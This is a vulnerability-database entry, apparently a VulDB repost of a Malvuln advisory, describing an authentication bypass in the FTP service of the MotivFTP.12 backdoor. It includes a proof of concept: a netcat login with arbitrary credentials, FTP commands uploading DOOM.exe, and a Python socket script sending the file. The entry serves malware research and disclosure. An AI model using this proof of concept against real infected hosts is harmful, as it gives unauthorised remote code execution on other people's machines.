Invia #35212: Backdoor.Win32.MotivFTP.12 #2 / Authentication Bypass

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/91b2d216c5d26d9db4289acf68fa1743.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.MotivFTP.12
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 21. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: MotivFTP
Type: PE32
MD5: 91b2d216c5d26d9db4289acf68fa1743
Vuln ID: MVID-2022-0544
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe 192.168.18.125 21
220 FTP Server ready
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,25).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok

from socket import *
import time

HOST = "192.168.18.125"
PORT = 49689
BUF_SIZE = 32
s=socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))

with open("DOOM.exe", "rb") as f:
while True:
bytez = f.read(BUF_SIZE)
if not bytez:
break
s.send(bytez)
time.sleep(0.5)

print("By malvuln")
s.close()

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• Fonte: ⚠️ https://malvuln.com/advisory/91b2d216c5d26d9db4289acf68fa1743.txt
• Utente: malvuln (UID 14984)
• Sottomissione: 18/04/2022 02:07 (4 anni fa)
• Moderazione: 18/04/2022 07:50 (6 hours later)
• Stato: Accettato
• Voce VulDB: 197560 [Backdoor.Win32.MotivFTP.12 Service Port 21 autenticazione debole]
• Punti: 20